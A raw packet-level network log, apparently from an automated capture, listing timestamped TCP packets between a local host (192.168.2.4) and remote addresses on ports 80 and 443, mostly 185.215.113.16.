Nov 23, 2024 15:22:24.482990980 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.483043909 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.483083010 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.483135939 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.483999014 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.484054089 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.484114885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.484165907 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.485014915 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.485094070 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.485127926 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.485183001 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.486171961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.486222982 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.486294031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.486342907 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.487063885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.487132072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.487217903 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.487271070 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.488090992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.488194942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.488209009 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.488255024 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.489145041 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.489209890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.489218950 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.489268064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.490161896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.490279913 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.490317106 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.490367889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.491209984 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.491342068 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.491350889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.491394043 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.492212057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.492264986 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.492302895 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.492325068 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.493236065 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.493320942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.493369102 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.493428946 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.494261980 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.494302988 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.494373083 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.494430065 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.495296001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.495353937 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.495553017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.495603085 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.496404886 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.496471882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.496509075 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.496562004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.497478962 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.497529030 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.497562885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.497611046 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.498394012 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.498444080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.498514891 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.498558044 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.499427080 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.499476910 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.499531031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.499605894 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.500499010 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.500547886 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.500607014 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.500690937 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.501415968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.501471996 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.648765087 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.648860931 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.648868084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.648915052 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.649182081 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.649235010 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.649375916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.649471998 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.649524927 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.649580956 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.650409937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.650486946 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.650520086 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.650579929 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.651487112 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.651554108 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.651578903 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.651628971 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.657943010 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658001900 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658015966 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.658056021 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658062935 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.658092022 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658104897 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.658144951 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658179998 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658215046 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658243895 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.658252954 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658276081 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.658286095 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658313036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.658320904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658363104 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.658376932 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658416033 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.658447981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.658478022 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.659940958 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.660028934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.660064936 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.660099983 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.660130978 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.660160065 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.662772894 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.662837029 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.662841082 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.662873030 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.662904978 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.662950993 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.662957907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.662992001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.663017035 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.663027048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.663057089 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.663074017 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.664580107 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.664649963 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.664685965 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.664736986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.665437937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.665529966 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.665590048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.665638924 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.666830063 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.666884899 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.666906118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.666940928 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.666955948 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.666975021 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.667001009 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.667037964 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.667947054 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.668010950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.668070078 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.668180943 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.668947935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.669001102 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.669050932 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.669116020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.669950962 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.670007944 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.670066118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.670125008 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.671072006 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.671137094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.671139956 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.671235085 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.672024012 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.672086000 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.672137022 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.672187090 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.673053026 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.673115015 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.673185110 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.673238993 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.674115896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.674173117 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.674232006 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.674284935 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.675111055 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.675170898 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.675404072 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.675455093 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.676136971 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.676192999 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.676254034 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.676310062 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.677166939 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.677222013 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.677287102 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.677335978 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.678210020 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.678258896 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.678323984 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.678374052 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.679227114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.679282904 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.679372072 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.679423094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.680249929 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.680305004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.680387974 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.680443048 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.681292057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.681344032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.681415081 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.681468964 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.682303905 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.682367086 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.682440042 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.682495117 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.683403015 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.683456898 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.683514118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.683567047 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.684437990 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.684510946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.684582949 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.685441017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.685549021 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.685651064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.686436892 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.686494112 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.686603069 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.686652899 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.687464952 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.687517881 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.687587023 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.687632084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.688539982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.688641071 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.688761950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.689596891 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.689775944 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.689778090 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.689822912 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.690639019 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.690674067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.690784931 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.691591978 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.691786051 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.691821098 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.691848993 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.692604065 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.692648888 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.692688942 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:24.692718029 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.692753077 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:24.692786932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.693634987 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.693710089 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.693763971 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.693809986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.694134951 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:24.694156885 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:24.694366932 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:24.694670916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.694818020 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.694891930 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.695728064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.695780993 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:24.695857048 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.695880890 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.695889950 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:24.695935965 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:24.695971966 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.696011066 CET	49801	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:24.696032047 CET	443	49801	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:24.696717024 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.696803093 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.696834087 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.696909904 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.697746038 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.697798967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.697865009 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.697928905 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.698771000 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.698822021 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.698893070 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.698971987 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.699840069 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.699891090 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.699969053 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.700018883 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.700838089 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.700895071 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.700963974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.701904058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.702018976 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.702097893 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.850313902 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.850368977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.850419044 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.850488901 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.850657940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.850725889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.850780010 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.850841045 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.851680994 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.851814032 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.851912975 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.852752924 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.852853060 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.852927923 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.852977991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.853737116 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.853810072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.853940964 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.854001045 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.854784012 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.854881048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.854913950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.854959965 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.855830908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.855882883 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.856007099 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.856072903 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.856828928 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.856883049 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.856955051 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.857003927 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.857870102 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.857922077 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.857927084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.857971907 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.858926058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.858999014 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.859055042 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.859106064 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.859946966 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.860008001 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.860022068 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.860097885 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.860953093 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.861016989 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.861073017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.861128092 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.862010956 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.862103939 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.862170935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.862235069 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.863045931 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.863096952 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.863181114 CET	80	49795	185.215.113.16	192.168.2.4
